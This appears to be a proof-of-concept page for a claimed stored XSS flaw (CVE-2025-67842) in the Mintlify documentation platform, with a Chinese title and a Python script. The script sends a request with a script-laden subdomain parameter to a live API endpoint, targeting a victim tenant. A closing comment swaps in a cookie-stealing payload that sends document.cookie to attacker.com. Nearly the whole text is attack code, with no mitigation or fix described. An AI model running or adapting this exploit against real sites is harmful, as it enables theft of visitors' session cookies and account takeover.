CVE-2025-67842 Mintlify Platform 存储型XSS漏洞

# CVE-2025-67842 Mintlify XSS PoC import requests import urllib.parse TARGET_URL = "https://api.mintlify.com/v1/static-asset" MALICIOUS_SUBDOMAIN = "xss<script>alert(document.cookie)</script>.attacker.com" def exploit_mintlify_xss(target_documentation_site): """ Exploit Mintlify Platform XSS via subdomain parameter injection This PoC demonstrates how an attacker can inject malicious scripts through the Static Asset API's subdomain parameter. """ # Step 1: Prepare malicious subdomain payload payload = { "subdomain": MALICIOUS_SUBDOMAIN, "path": "/", "tenant_id": "victim-tenant" } # Step 2: Send crafted request to Static Asset API response = requests.get( TARGET_URL, params=payload, headers={ "User-Agent": "Mozilla/5.0", "Referer": target_documentation_site } ) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {urllib.parse.urlencode(payload)}") print(f"[*] Response Status: {response.status_code}") # Step 3: The malicious asset is now served on victim's site # When users visit the victim's documentation, the XSS will execute return response # Example attack scenario VICTIM_SITE = "https://docs.victim-company.com" exploit_mintlify_xss(VICTIM_SITE) # After exploitation, visiting VICTIM_SITE will execute: # alert(document.cookie) # Attackers can replace this with cookie stealing: # <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>